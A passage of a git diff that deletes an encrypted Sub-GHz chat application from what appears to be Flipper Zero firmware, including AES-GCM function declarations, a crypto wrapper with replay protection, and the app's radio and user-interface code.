already setup - int mode, // cipher direction: ENCRYPT (1) or DECRYPT (0) - const uchar* iv, // pointer to the 12-byte initialization vector - size_t iv_len, // byte length if the IV. should always be 12 - const uchar* add, // pointer to the non-ciphered additional data - size_t add_len, // byte length of the additional AEAD data - const uchar* input, // pointer to the cipher data source - uchar* output, // pointer to the cipher data destination - size_t length, // byte length of the cipher data - uchar* tag, // pointer to the tag to be generated - size_t tag_len); // byte length of the tag to be generated - -/****************************************************************************** - * - * GCM_AUTH_DECRYPT - * - * This DECRYPTS a user-provided data buffer with optional associated data. - * It then verifies a user-supplied authentication tag against the tag just - * re-created during decryption to verify that the data has not been altered. - * - * This function calls GCM_CRYPT_AND_TAG (above) to perform the decryption - * and authentication tag generation. - * - ******************************************************************************/ -int gcm_auth_decrypt( - gcm_context* ctx, // gcm context with key already setup - const uchar* iv, // pointer to the 12-byte initialization vector - size_t iv_len, // byte length if the IV. should always be 12 - const uchar* add, // pointer to the non-ciphered additional data - size_t add_len, // byte length of the additional AEAD data - const uchar* input, // pointer to the cipher data source - uchar* output, // pointer to the cipher data destination - size_t length, // byte length of the cipher data - const uchar* tag, // pointer to the tag to be authenticated - size_t tag_len); // byte length of the tag <= 16 - -/****************************************************************************** - * - * GCM_START - * - * Given a user-provided GCM context, this initializes it, sets the encryption - * mode, and preprocesses the initialization vector and additional AEAD data. - * - ******************************************************************************/ -int gcm_start( - gcm_context* ctx, // pointer to user-provided GCM context - int mode, // ENCRYPT (1) or DECRYPT (0) - const uchar* iv, // pointer to initialization vector - size_t iv_len, // IV length in bytes (should == 12) - const uchar* add, // pointer to additional AEAD data (NULL if none) - size_t add_len); // length of additional AEAD data (bytes) - -/****************************************************************************** - * - * GCM_UPDATE - * - * This is called once or more to process bulk plaintext or ciphertext data. - * We give this some number of bytes of input and it returns the same number - * of output bytes. If called multiple times (which is fine) all but the final - * invocation MUST be called with length mod 16 == 0. (Only the final call can - * have a partial block length of < 128 bits.) - * - ******************************************************************************/ -int gcm_update( - gcm_context* ctx, // pointer to user-provided GCM context - size_t length, // length, in bytes, of data to process - const uchar* input, // pointer to source data - uchar* output); // pointer to destination data - -/****************************************************************************** - * - * GCM_FINISH - * - * This is called once after all calls to GCM_UPDATE to finalize the GCM. - * It performs the final GHASH to produce the resulting authentication TAG. - * - ******************************************************************************/ -int gcm_finish( - gcm_context* ctx, // pointer to user-provided GCM context - uchar* tag, // ptr to tag buffer - NULL if tag_len = 0 - size_t tag_len); // length, in bytes, of the tag-receiving buf - -/****************************************************************************** - * - * GCM_ZERO_CTX - * - * The GCM context contains both the GCM context and the AES context. - * This includes keying and key-related material which is security- - * sensitive, so it MUST be zeroed after use. This function does that. - * - ******************************************************************************/ -void gcm_zero_ctx(gcm_context* ctx); - -#endif /* GCM_HEADER */ diff --git a/applications/external/esubghz_chat/crypto_wrapper.c b/applications/external/esubghz_chat/crypto_wrapper.c deleted file mode 100644 index 5d72bd843..000000000 --- a/applications/external/esubghz_chat/crypto_wrapper.c +++ /dev/null @@ -1,237 +0,0 @@ -#include -#include -#include - -#ifndef FURI_HAL_CRYPTO_ADVANCED_AVAIL -#include "crypto/gcm.h" -#endif /* FURI_HAL_CRYPTO_ADVANCED_AVAIL */ - -#include "crypto_wrapper.h" - -DICT_DEF2(ESubGhzChatReplayDict, uint64_t, uint32_t) - -struct ESugGhzChatCryptoCtx { - uint8_t key[KEY_BITS / 8]; -#ifndef FURI_HAL_CRYPTO_ADVANCED_AVAIL - gcm_context gcm_ctx; -#endif /* FURI_HAL_CRYPTO_ADVANCED_AVAIL */ - ESubGhzChatReplayDict_t replay_dict; - uint64_t run_id; - uint32_t counter; -}; - -struct ESubGhzChatCryptoMsg { - uint64_t run_id; - uint32_t counter; - uint8_t iv[IV_BYTES]; - uint8_t tag[TAG_BYTES]; - uint8_t data[0]; -} __attribute__((packed)); - -void crypto_init(void) { -#ifndef FURI_HAL_CRYPTO_ADVANCED_AVAIL - /* init the GCM and AES tables */ - gcm_initialize(); -#endif /* FURI_HAL_CRYPTO_ADVANCED_AVAIL */ -} - -void crypto_explicit_bzero(void* s, size_t len) { - memset(s, 0, len); - asm volatile("" ::: "memory"); -} - -ESubGhzChatCryptoCtx* crypto_ctx_alloc(void) { - ESubGhzChatCryptoCtx* ret = malloc(sizeof(ESubGhzChatCryptoCtx)); - - if(ret != NULL) { - memset(ret, 0, sizeof(ESubGhzChatCryptoCtx)); - ESubGhzChatReplayDict_init(ret->replay_dict); - ret->run_id = 0; - ret->counter = 1; - } - - return ret; -} - -void crypto_ctx_free(ESubGhzChatCryptoCtx* ctx) { - crypto_ctx_clear(ctx); - ESubGhzChatReplayDict_clear(ctx->replay_dict); - free(ctx); -} - -void crypto_ctx_clear(ESubGhzChatCryptoCtx* ctx) { - crypto_explicit_bzero(ctx->key, sizeof(ctx->key)); -#ifndef FURI_HAL_CRYPTO_ADVANCED_AVAIL - crypto_explicit_bzero(&(ctx->gcm_ctx), sizeof(ctx->gcm_ctx)); -#endif /* FURI_HAL_CRYPTO_ADVANCED_AVAIL */ - ESubGhzChatReplayDict_reset(ctx->replay_dict); - ctx->run_id = 0; - ctx->counter = 1; -} - -static uint64_t crypto_calc_run_id(FuriString* flipper_name, uint32_t tick) { - const char* fn = furi_string_get_cstr(flipper_name); - size_t fn_len = strlen(fn); - - uint8_t h_in[fn_len + sizeof(uint32_t)]; - memcpy(h_in, fn, fn_len); - memcpy(h_in + fn_len, &tick, sizeof(uint32_t)); - - uint8_t h_out[256]; - sha256(h_in, fn_len + sizeof(uint32_t), h_out); - - uint64_t run_id; - memcpy(&run_id, h_out, sizeof(uint64_t)); - - return run_id; -} - -bool crypto_ctx_set_key( - ESubGhzChatCryptoCtx* ctx, - const uint8_t* key, - FuriString* flipper_name, - uint32_t tick) { - ctx->run_id = crypto_calc_run_id(flipper_name, tick); - ctx->counter = 1; - - memcpy(ctx->key, key, KEY_BITS / 8); -#ifdef FURI_HAL_CRYPTO_ADVANCED_AVAIL - return true; -#else /* FURI_HAL_CRYPTO_ADVANCED_AVAIL */ - return (gcm_setkey(&(ctx->gcm_ctx), key, KEY_BITS / 8) == 0); -#endif /* FURI_HAL_CRYPTO_ADVANCED_AVAIL */ -} - -void crypto_ctx_get_key(ESubGhzChatCryptoCtx* ctx, uint8_t* key) { - memcpy(key, ctx->key, KEY_BITS / 8); -} - -bool crypto_ctx_decrypt(ESubGhzChatCryptoCtx* ctx, uint8_t* in, size_t in_len, uint8_t* out) { - if(in_len < MSG_OVERHEAD + 1) { - return false; - } - - struct ESubGhzChatCryptoMsg* msg = (struct ESubGhzChatCryptoMsg*)in; - - // check if message is stale, if yes, discard - uint32_t* counter = ESubGhzChatReplayDict_get(ctx->replay_dict, msg->run_id); - if(counter != NULL) { - if(*counter >= __ntohl(msg->counter)) { - return false; - } - } - - // decrypt and auth message -#ifdef FURI_HAL_CRYPTO_ADVANCED_AVAIL - bool ret = - (furi_hal_crypto_gcm_decrypt_and_verify( - ctx->key, - msg->iv, - (uint8_t*)msg, - RUN_ID_BYTES + COUNTER_BYTES, - msg->data, - out, - in_len - MSG_OVERHEAD, - msg->tag) == FuriHalCryptoGCMStateOk); -#else /* FURI_HAL_CRYPTO_ADVANCED_AVAIL */ - bool ret = - (gcm_auth_decrypt( - &(ctx->gcm_ctx), - msg->iv, - IV_BYTES, - (uint8_t*)msg, - RUN_ID_BYTES + COUNTER_BYTES, - msg->data, - out, - in_len - MSG_OVERHEAD, - msg->tag, - TAG_BYTES) == 0); -#endif /* FURI_HAL_CRYPTO_ADVANCED_AVAIL */ - - // if auth was successful update replay dict - if(ret) { - ESubGhzChatReplayDict_set_at(ctx->replay_dict, msg->run_id, __ntohl(msg->counter)); - } - - return ret; -} - -bool crypto_ctx_encrypt(ESubGhzChatCryptoCtx* ctx, uint8_t* in, size_t in_len, uint8_t* out) { - struct ESubGhzChatCryptoMsg* msg = (struct ESubGhzChatCryptoMsg*)out; - - // fill message header - msg->run_id = ctx->run_id; - msg->counter = __htonl(ctx->counter); - furi_hal_random_fill_buf(msg->iv, IV_BYTES); - - // encrypt message and store tag in header -#ifdef FURI_HAL_CRYPTO_ADVANCED_AVAIL - bool ret = - (furi_hal_crypto_gcm_encrypt_and_tag( - ctx->key, - msg->iv, - (uint8_t*)msg, - RUN_ID_BYTES + COUNTER_BYTES, - in, - msg->data, - in_len, - msg->tag) == FuriHalCryptoGCMStateOk); -#else /* FURI_HAL_CRYPTO_ADVANCED_AVAIL */ - bool ret = - (gcm_crypt_and_tag( - &(ctx->gcm_ctx), - ENCRYPT, - msg->iv, - IV_BYTES, - (uint8_t*)msg, - RUN_ID_BYTES + COUNTER_BYTES, - in, - msg->data, - in_len, - msg->tag, - TAG_BYTES) == 0); -#endif /* FURI_HAL_CRYPTO_ADVANCED_AVAIL */ - - // update replay dict and increase internal counter - if(ret) { - ESubGhzChatReplayDict_set_at(ctx->replay_dict, ctx->run_id, ctx->counter); - ctx->counter++; - } - - return ret; -} - -size_t crypto_ctx_dump_replay_dict( - ESubGhzChatCryptoCtx* ctx, - CryptoCtxReplayDictWriter writer, - void* writer_ctx) { - size_t ret = 0; - ESubGhzChatReplayDict_it_t i; - - for(ESubGhzChatReplayDict_it(i, ctx->replay_dict); !ESubGhzChatReplayDict_end_p(i); - ESubGhzChatReplayDict_next(i), ret++) { - ESubGhzChatReplayDict_itref_t* ref = ESubGhzChatReplayDict_ref(i); - if(!writer(ref->key, ref->value, writer_ctx)) { - break; - } - } - - return ret; -} - -size_t crypto_ctx_read_replay_dict( - ESubGhzChatCryptoCtx* ctx, - CryptoCtxReplayDictReader reader, - void* reader_ctx) { - size_t ret = 0; - - uint64_t run_id; - uint32_t counter; - - while(reader(&run_id, &counter, reader_ctx)) { - ESubGhzChatReplayDict_set_at(ctx->replay_dict, run_id, counter); - ret++; - } - - return ret; -} diff --git a/applications/external/esubghz_chat/crypto_wrapper.h b/applications/external/esubghz_chat/crypto_wrapper.h deleted file mode 100644 index 080a604d1..000000000 --- a/applications/external/esubghz_chat/crypto_wrapper.h +++ /dev/null @@ -1,51 +0,0 @@ -#pragma once - -#ifdef __cplusplus -extern "C" { -#endif - -#define RUN_ID_BYTES (sizeof(uint64_t)) -#define COUNTER_BYTES (sizeof(uint32_t)) -#define KEY_BITS 256 -#define IV_BYTES 12 -#define TAG_BYTES 16 - -#define MSG_OVERHEAD (RUN_ID_BYTES + COUNTER_BYTES + IV_BYTES + TAG_BYTES) - -typedef struct ESugGhzChatCryptoCtx ESubGhzChatCryptoCtx; - -void crypto_init(void); - -/* Function to clear sensitive memory. */ -void crypto_explicit_bzero(void* s, size_t len); - -ESubGhzChatCryptoCtx* crypto_ctx_alloc(void); -void crypto_ctx_free(ESubGhzChatCryptoCtx* ctx); - -void crypto_ctx_clear(ESubGhzChatCryptoCtx* ctx); - -bool crypto_ctx_set_key( - ESubGhzChatCryptoCtx* ctx, - const uint8_t* key, - FuriString* flipper_name, - uint32_t tick); -void crypto_ctx_get_key(ESubGhzChatCryptoCtx* ctx, uint8_t* key); - -bool crypto_ctx_decrypt(ESubGhzChatCryptoCtx* ctx, uint8_t* in, size_t in_len, uint8_t* out); -bool crypto_ctx_encrypt(ESubGhzChatCryptoCtx* ctx, uint8_t* in, size_t in_len, uint8_t* out); - -typedef bool (*CryptoCtxReplayDictWriter)(uint64_t run_id, uint32_t counter, void* context); -typedef bool (*CryptoCtxReplayDictReader)(uint64_t* run_id, uint32_t* counter, void* context); - -size_t crypto_ctx_dump_replay_dict( - ESubGhzChatCryptoCtx* ctx, - CryptoCtxReplayDictWriter writer, - void* writer_ctx); -size_t crypto_ctx_read_replay_dict( - ESubGhzChatCryptoCtx* ctx, - CryptoCtxReplayDictReader reader, - void* reader_ctx); - -#ifdef __cplusplus -} -#endif diff --git a/applications/external/esubghz_chat/esubghz_chat.c b/applications/external/esubghz_chat/esubghz_chat.c deleted file mode 100644 index 6a5778fd0..000000000 --- a/applications/external/esubghz_chat/esubghz_chat.c +++ /dev/null @@ -1,703 +0,0 @@ -#include -#include -#include - -#include "helpers/radio_device_loader.h" -#include "esubghz_chat_i.h" - -#define CHAT_LEAVE_DELAY 10 -#define TICK_INTERVAL 50 -#define MESSAGE_COMPLETION_TIMEOUT 500 - -#define KBD_UNLOCK_CNT 3 -#define KBD_UNLOCK_TIMEOUT 1000 - -/* Callback for RX events from the Sub-GHz worker. Records the current ticks as - * the time of the last reception. */ -static void have_read_cb(void* context) { - furi_assert(context); - ESubGhzChatState* state = context; - - state->last_time_rx_data = furi_get_tick(); -} - -/* Sets the header for the chat input field depending on whether or not a - * message preview exists. */ -void set_chat_input_header(ESubGhzChatState* state) { - if(strlen(state->msg_preview) == 0) { - text_input_set_header_text(state->text_input, "Message"); - } else { - text_input_set_header_text(state->text_input, state->msg_preview); - } -} - -/* Appends the latest message to the chat box and prepares the message preview. - */ -void append_msg(ESubGhzChatState* state, const char* msg) { - /* append message to text box */ - furi_string_cat_printf(state->chat_box_store, "\n%s", msg); - - /* prepare message preview */ - strncpy(state->msg_preview, msg, MSG_PREVIEW_SIZE); - state->msg_preview[MSG_PREVIEW_SIZE] = 0; - set_chat_input_header(state); - - /* reset text box contents and focus */ - text_box_set_text(state->chat_box, furi_string_get_cstr(state->chat_box_store)); - text_box_set_focus(state->chat_box, TextBoxFocusEnd); -} - -/* Decrypts a message for post_rx(). */ -static bool post_rx_decrypt(ESubGhzChatState* state, size_t rx_size) { - bool ret = crypto_ctx_decrypt( - state->crypto_ctx, state->rx_buffer, rx_size, (uint8_t*)state->rx_str_buffer); - - if(ret) { - state->rx_str_buffer[rx_size - (MSG_OVERHEAD)] = 0; - } else { - state->rx_str_buffer[0] = 0; - } - - return ret; -} - -/* Post RX handler, decrypts received messages and calls append_msg(). */ -static void post_rx(ESubGhzChatState* state, size_t rx_size) { - furi_assert(state); - - if(rx_size == 0) { - return; - } - - furi_check(rx_size <= RX_TX_BUFFER_SIZE); - - /* decrypt if necessary */ - if(!state->encrypted) { - memcpy(state->rx_str_buffer, state->rx_buffer, rx_size); - state->rx_str_buffer[rx_size] = 0; - - /* remove trailing newline if it is there, for compat with CLI - * Sub-GHz chat */ - if(state->rx_str_buffer[rx_size - 1] == '\n') { - state->rx_str_buffer[rx_size - 1] = 0; - } - } else { - /* if decryption fails output an error message */ - if(!post_rx_decrypt(state, rx_size)) { - strcpy(state->rx_str_buffer, "ERR: Decryption failed!"); - } - } - - /* append message to text box and prepare message preview */ - append_msg(state, state->rx_str_buffer); - - /* send notification (make the flipper vibrate) */ - notification_message(state->notification, &sequence_single_vibro); -} - -/* Reads the message from msg_input, encrypts it if necessary and then - * transmits it. */ -void tx_msg_input(ESubGhzChatState* state) { - /* encrypt message if necessary */ - size_t msg_len = strlen(furi_string_get_cstr(state->msg_input)); - size_t tx_size = msg_len; - if(state->encrypted) { - tx_size += MSG_OVERHEAD; - furi_check(tx_size <= sizeof(state->tx_buffer)); - - crypto_ctx_encrypt( - state->crypto_ctx, - (uint8_t*)furi_string_get_cstr(state->msg_input), - msg_len, - state->tx_buffer); - } else { - tx_size += 2; - furi_check(tx_size <= sizeof(state->tx_buffer)); - memcpy(state->tx_buffer, furi_string_get_cstr(state->msg_input), msg_len); - - /* append \r\n for compat with Sub-GHz CLI chat */ - state->tx_buffer[msg_len] = '\r'; - state->tx_buffer[msg_len + 1] = '\n'; - } - - /* transmit */ - subghz_tx_rx_worker_write(state->subghz_worker, state->tx_buffer, tx_size); -} - -/* Displays information on frequency, encryption and radio type in the text - * box. Also clears the text input buffer to remove the password and starts the - * Sub-GHz worker. After starting the worker a join message is transmitted. */ -void enter_chat(ESubGhzChatState* state) { - furi_string_cat_printf(state->chat_box_store, "Frequency: %lu", state->frequency); - - furi_string_cat_printf( - state->chat_box_store, "\nEncrypted: %s", (state->encrypted ? "yes" : "no")); - - subghz_tx_rx_worker_start(state->subghz_worker, state->subghz_device, state->frequency); - - if(strcmp(state->subghz_device->name, "cc1101_ext") == 0) { - furi_string_cat_printf(state->chat_box_store, "\nRadio: External"); - } else { - furi_string_cat_printf(state->chat_box_store, "\nRadio: Internal"); - } - - /* concatenate the name prefix and join message */ - furi_string_set(state->msg_input, state->name_prefix); - furi_string_cat_str(state->msg_input, " joined chat."); - - /* encrypt and transmit message */ - tx_msg_input(state); - - /* clear message input buffer */ - furi_string_set_char(state->msg_input, 0, 0); -} - -/* Sends a leave message */ -void exit_chat(ESubGhzChatState* state) { - /* concatenate the name prefix and leave message */ - furi_string_set(state->msg_input, state->name_prefix); - furi_string_cat_str(state->msg_input, " left chat."); - - /* encrypt and transmit message */ - tx_msg_input(state); - - /* clear message input buffer */ - furi_string_set_char(state->msg_input, 0, 0); - - /* wait for leave message to be delivered */ - furi_delay_ms(CHAT_LEAVE_DELAY); -} - -/* Whether or not to display the locked message. */ -static bool kbd_lock_msg_display(ESubGhzChatState* state) { - return (state->kbd_lock_msg_ticks != 0); -} - -/* Whether or not to hide the locked message again. */ -static bool kbd_lock_msg_reset_timeout(ESubGhzChatState* state) { - if(state->kbd_lock_msg_ticks == 0) { - return false; - } - - if(furi_get_tick() - state->kbd_lock_msg_ticks > KBD_UNLOCK_TIMEOUT) { - return true; - } - - return false; -} - -/* Resets the timeout for the locked message and turns off the backlight if - * specified. */ -static void kbd_lock_msg_reset(ESubGhzChatState* state, bool backlight_off) { - state->kbd_lock_msg_ticks = 0; - state->kbd_lock_count = 0; - - if(backlight_off) { - notification_message(state->notification, &sequence_display_backlight_off); - } -} - -/* Locks the keyboard. */ -static void kbd_lock(ESubGhzChatState* state) { - state->kbd_locked = true; - kbd_lock_msg_reset(state, true); -} - -/* Unlocks the keyboard. */ -static void kbd_unlock(ESubGhzChatState* state) { - state->kbd_locked = false; - kbd_lock_msg_reset(state, false); -} - -/* Custom event callback for view dispatcher. Just calls scene manager. */ -static bool esubghz_chat_custom_event_callback(void* context, uint32_t event) { - FURI_LOG_T(APPLICATION_NAME, "esubghz_chat_custom_event_callback"); - furi_assert(context); - ESubGhzChatState* state = context; - return scene_manager_handle_custom_event(state->scene_manager, event); -} - -/* Navigation event callback for view dispatcher. Just calls scene manager. */ -static bool esubghz_chat_navigation_event_callback(void* context) { - FURI_LOG_T(APPLICATION_NAME, "esubghz_chat_navigation_event_callback"); - furi_assert(context); - ESubGhzChatState* state = context; - return scene_manager_handle_back_event(state->scene_manager); -} - -/* Tick event callback for view dispatcher. Called every TICK_INTERVAL. Resets - * the locked message if necessary. Retrieves a received message from the - * Sub-GHz worker and calls post_rx(). Then calls the scene manager. */ -static void esubghz_chat_tick_event_callback(void* context) { - FURI_LOG_T(APPLICATION_NAME, "esubghz_chat_tick_event_callback"); - - furi_assert(context); - ESubGhzChatState* state = context; - - /* reset locked message if necessary */ - if(kbd_lock_msg_reset_timeout(state)) { - kbd_lock_msg_reset(state, true); - } - - /* if the maximum message size was reached or the - * MESSAGE_COMPLETION_TIMEOUT has expired, retrieve a message and call - * post_rx() */ - size_t avail = 0; - while((avail = subghz_tx_rx_worker_available(state->subghz_worker)) > 0) { - volatile uint32_t since_last_rx = furi_get_tick() - state->last_time_rx_data; - if(avail < RX_TX_BUFFER_SIZE && since_last_rx < MESSAGE_COMPLETION_TIMEOUT) { - break; - } - - size_t rx_size = - subghz_tx_rx_worker_read(state->subghz_worker, state->rx_buffer, RX_TX_BUFFER_SIZE); - post_rx(state, rx_size); - } - - /* call scene manager */ - scene_manager_handle_tick_event(state->scene_manager); -} - -/* Hooks into the view port's draw callback to overlay the keyboard locked - * message. */ -static void esubghz_hooked_draw_callback(Canvas* canvas, void* context) { - FURI_LOG_T(APPLICATION_NAME, "esubghz_hooked_draw_callback"); - - furi_assert(canvas); - - furi_assert(context); - ESubGhzChatState* state = context; - - /* call original callback */ - state->orig_draw_cb(canvas, state->view_dispatcher); - - /* display if the keyboard is locked */ - if(state->kbd_locked) { - canvas_set_font(canvas, FontPrimary); - elements_multiline_text_framed(canvas, 42, 30, "Locked"); - } - - /* display the unlock message if necessary */ - if(kbd_lock_msg_display(state)) { - canvas_set_font(canvas, FontSecondary); - elements_bold_rounded_frame(canvas, 14, 8, 99, 48); - elements_multiline_text(canvas, 65, 26, "To unlock\npress:"); - canvas_draw_icon(canvas, 65, 42, &I_Pin_back_arrow_10x8); - canvas_draw_icon(canvas, 80, 42, &I_Pin_back_arrow_10x8); - canvas_draw_icon(canvas, 95, 42, &I_Pin_back_arrow_10x8); - canvas_draw_icon(canvas, 16, 13, &I_WarningDolphin_45x42); - } -} - -/* Hooks into the view port's input callback to handle the user locking the - * keyboard. */ -static void esubghz_hooked_input_callback(InputEvent* event, void* context) { - FURI_LOG_T(APPLICATION_NAME, "esubghz_hooked_input_callback"); - - furi_assert(event); - - furi_assert(context); - ESubGhzChatState* state = context; - - /* if the keyboard is locked no key presses are forwarded */ - if(state->kbd_locked) { - /* key has been pressed, display the unlock message and - * initiate the timer */ - if(state->kbd_lock_count == 0) { - state->kbd_lock_msg_ticks = furi_get_tick(); - } - - /* back button has been pressed, increase the lock counter */ - if(event->key == InputKeyBack && event->type == InputTypeShort) { - state->kbd_lock_count++; - } - - /* unlock the keyboard */ - if(state->kbd_lock_count >= KBD_UNLOCK_CNT) { - kbd_unlock(state); - } - - /* do not handle the event */ - return; - } - - if(event->key == InputKeyOk) { - /* if we are in the chat view and no input is ongoing, allow - * locking */ - if(state->view_dispatcher->current_view == text_box_get_view(state->chat_box) && - !(state->kbd_ok_input_ongoing)) { - /* lock keyboard upon long press of Ok button */ - if(event->type == InputTypeLong) { - kbd_lock(state); - } - - /* do not handle any Ok key events to prevent blocking - * of other keys */ - return; - } - - /* handle ongoing inputs when changing to chat view */ - if(event->type == InputTypePress) { - state->kbd_ok_input_ongoing = true; - } else if(event->type == InputTypeRelease) { - state->kbd_ok_input_ongoing = false; - } - } - - if(event->key == InputKeyLeft) { - /* if we are in the chat view and no input is ongoing, allow - * switching to msg input */ - if(state->view_dispatcher->current_view == text_box_get_view(state->chat_box) && - !(state->kbd_left_input_ongoing)) { - /* go to msg input upon short press of Left button */ - if(event->type == InputTypeShort) { - view_dispatcher_send_custom_event( - state->view_dispatcher, ESubGhzChatEvent_GotoMsgInput); - } - - /* do not handle any Left key events to prevent - * blocking of other keys */ - return; - } - - /* handle ongoing inputs when changing to chat view */ - if(event->type == InputTypePress) { - state->kbd_left_input_ongoing = true; - } else if(event->type == InputTypeRelease) { - state->kbd_left_input_ongoing = false; - } - } - - if(event->key == InputKeyRight) { - /* if we are in the chat view and no input is ongoing, allow - * switching to key display */ - if(state->view_dispatcher->current_view == text_box_get_view(state->chat_box) && - !(state->kbd_right_input_ongoing)) { - /* go to key display upon short press of Right button - */ - if(event->type == InputTypeShort) { - view_dispatcher_send_custom_event( - state->view_dispatcher, ESubGhzChatEvent_GotoKeyDisplay); - } - - /* do not handle any Right key events to prevent - * blocking of other keys */ - return; - } - - /* handle ongoing inputs when changing to chat view */ - if(event->type == InputTypePress) { - state->kbd_right_input_ongoing = true; - } else if(event->type == InputTypeRelease) { - state->kbd_right_input_ongoing = false; - } - } - - /* call original callback */ - state->orig_input_cb(event, state->view_dispatcher); -} - -static bool helper_strings_alloc(ESubGhzChatState* state) { - furi_assert(state); - - state->name_prefix = furi_string_alloc(); - if(state->name_prefix == NULL) { - return false; - } - - state->msg_input = furi_string_alloc(); - if(state->msg_input == NULL) { - furi_string_free(state->name_prefix); - return false; - } - - return true; -} - -static void helper_strings_free(ESubGhzChatState* state) { - furi_assert(state); - - furi_string_free(state->name_prefix); - furi_string_free(state->msg_input); -} - -static bool chat_box_alloc(ESubGhzChatState* state) { - furi_assert(state); - - state->chat_box = text_box_alloc(); - if(state->chat_box == NULL) { - return false; - } - - state->chat_box_store = furi_string_alloc(); - if(state->chat_box_store == NULL) { - text_box_free(state->chat_box); - return false; - } - - furi_string_reserve(state->chat_box_store, CHAT_BOX_STORE_SIZE); - furi_string_set_char(state->chat_box_store, 0, 0); - text_box_set_text(state->chat_box, furi_string_get_cstr(state->chat_box_store)); - text_box_set_focus(state->chat_box, TextBoxFocusEnd); - - return true; -} - -static void chat_box_free(ESubGhzChatState* state) { - furi_assert(state); - - text_box_free(state->chat_box); - furi_string_free(state->chat_box_store); -} - -int32_t esubghz_chat(void) { - /* init the crypto system */ - crypto_init(); - - int32_t err = -1; - - FURI_LOG_I(APPLICATION_NAME, "Starting..."); - - /* allocate necessary structs and buffers */ - - ESubGhzChatState* state = malloc(sizeof(ESubGhzChatState)); - if(state == NULL) { - goto err_alloc; - } - memset(state, 0, sizeof(*state)); - - state->scene_manager = scene_manager_alloc(&esubghz_chat_scene_event_handlers, state); - if(state->scene_manager == NULL) { - goto err_alloc_sm; - } - - state->view_dispatcher = view_dispatcher_alloc(); - if(state->view_dispatcher == NULL) { - goto err_alloc_vd; - } - - if(!helper_strings_alloc(state)) { - goto err_alloc_hs; - } - - state->menu = menu_alloc(); - if(state->menu == NULL) { - goto err_alloc_menu; - } - - state->text_input = text_input_alloc(); - if(state->text_input == NULL) { - goto err_alloc_ti; - } - - state->hex_key_input = byte_input_alloc(); - if(state->hex_key_input == NULL) { - goto err_alloc_hki; - } - - if(!chat_box_alloc(state)) { - goto err_alloc_cb; - } - - state->key_display = dialog_ex_alloc(); - if(state->key_display == NULL) { - goto err_alloc_kd; - } - - state->nfc_popup = popup_alloc(); - if(state->nfc_popup == NULL) { - goto err_alloc_np; - } - - state->subghz_worker = subghz_tx_rx_worker_alloc(); - if(state->subghz_worker == NULL) { - goto err_alloc_worker; - } - - state->nfc_worker = nfc_worker_alloc(); - if(state->nfc_worker == NULL) { - goto err_alloc_nworker; - } - - state->nfc_dev_data = malloc(sizeof(NfcDeviceData)); - if(state->nfc_dev_data == NULL) { - goto err_alloc_ndevdata; - } - memset(state->nfc_dev_data, 0, sizeof(NfcDeviceData)); - - state->crypto_ctx = crypto_ctx_alloc(); - if(state->crypto_ctx == NULL) { - goto err_alloc_crypto; - } - - /* set the default frequency */ - state->frequency = DEFAULT_FREQ; - - /* set the have_read callback of the Sub-GHz worker */ - subghz_tx_rx_worker_set_callback_have_read(state->subghz_worker, have_read_cb, state); - - /* enter suppress charge mode */ - furi_hal_power_suppress_charge_enter(); - - /* init internal device */ - subghz_devices_init(); - - state->subghz_device = - radio_device_loader_set(state->subghz_device, SubGhzRadioDeviceTypeExternalCC1101); - - subghz_devices_reset(state->subghz_device); - subghz_devices_idle(state->subghz_device); - - /* set chat name prefix */ - furi_string_printf(state->name_prefix, "%s", furi_hal_version_get_name_ptr()); - - /* get notification record, we use this to make the flipper vibrate */ - /* no error handling here, don't know how */ - state->notification = furi_record_open(RECORD_NOTIFICATION); - - /* hook into the view port's draw and input callbacks */ - state->orig_draw_cb = state->view_dispatcher->view_port->draw_callback; - state->orig_input_cb = state->view_dispatcher->view_port->input_callback; - view_port_draw_callback_set( - state->view_dispatcher->view_port, esubghz_hooked_draw_callback, state); - view_port_input_callback_set( - state->view_dispatcher->view_port, esubghz_hooked_input_callback, state); - - view_dispatcher_enable_queue(state->view_dispatcher); - - /* set callbacks for view dispatcher */ - view_dispatcher_set_event_callback_context(state->view_dispatcher, state); - view_dispatcher_set_custom_event_callback( - state->view_dispatcher, esubghz_chat_custom_event_callback); - view_dispatcher_set_navigation_event_callback( - state->view_dispatcher, esubghz_chat_navigation_event_callback); - view_dispatcher_set_tick_event_callback( - state->view_dispatcher, esubghz_chat_tick_event_callback, TICK_INTERVAL); - - /* add our two views to the view dispatcher */ - view_dispatcher_add_view( - state->view_dispatcher, ESubGhzChatView_Menu, menu_get_view(state->menu)); - view_dispatcher_add_view( - state->view_dispatcher, ESubGhzChatView_Input, text_input_get_view(state->text_input)); - view_dispatcher_add_view( - state->view_dispatcher, - ESubGhzChatView_HexKeyInput, - byte_input_get_view(state->hex_key_input)); - view_dispatcher_add_view( - state->view_dispatcher, ESubGhzChatView_ChatBox, text_box_get_view(state->chat_box)); - view_dispatcher_add_view( - state->view_dispatcher, - ESubGhzChatView_KeyDisplay, - dialog_ex_get_view(state->key_display)); - view_dispatcher_add_view( - state->view_dispatcher, ESubGhzChatView_NfcPopup, popup_get_view(state->nfc_popup)); - - /* get the GUI record and attach the view dispatcher to the GUI */ - /* no error handling here, don't know how */ - Gui* gui = furi_record_open(RECORD_GUI); - view_dispatcher_attach_to_gui(state->view_dispatcher, gui, ViewDispatcherTypeFullscreen); - - /* switch to the key menu scene */ - scene_manager_next_scene(state->scene_manager, ESubGhzChatScene_KeyMenu); - - /* run the view dispatcher, this call only returns when we close the - * application */ - view_dispatcher_run(state->view_dispatcher); - - /* if it is running, stop the Sub-GHz worker */ - if(subghz_tx_rx_worker_is_running(state->subghz_worker)) { - exit_chat(state); - subghz_tx_rx_worker_stop(state->subghz_worker); - } - - /* if it is running, stop the NFC worker */ - nfc_worker_stop(state->nfc_worker); - - err = 0; - - /* close GUI record */ - furi_record_close(RECORD_GUI); - - /* remove our two views from the view dispatcher */ - view_dispatcher_remove_view(state->view_dispatcher, ESubGhzChatView_Menu); - view_dispatcher_remove_view(state->view_dispatcher, ESubGhzChatView_Input); - view_dispatcher_remove_view(state->view_dispatcher, ESubGhzChatView_HexKeyInput); - view_dispatcher_remove_view(state->view_dispatcher, ESubGhzChatView_ChatBox); - view_dispatcher_remove_view(state->view_dispatcher, ESubGhzChatView_KeyDisplay); - view_dispatcher_remove_view(state->view_dispatcher, ESubGhzChatView_NfcPopup); - - /* close notification record */ - furi_record_close(RECORD_NOTIFICATION); - - /* clear the key and potential password */ - crypto_explicit_bzero(state->text_input_store, sizeof(state->text_input_store)); - crypto_explicit_bzero(state->hex_key_input_store, sizeof(state->hex_key_input_store)); - crypto_explicit_bzero(state->key_hex_str, 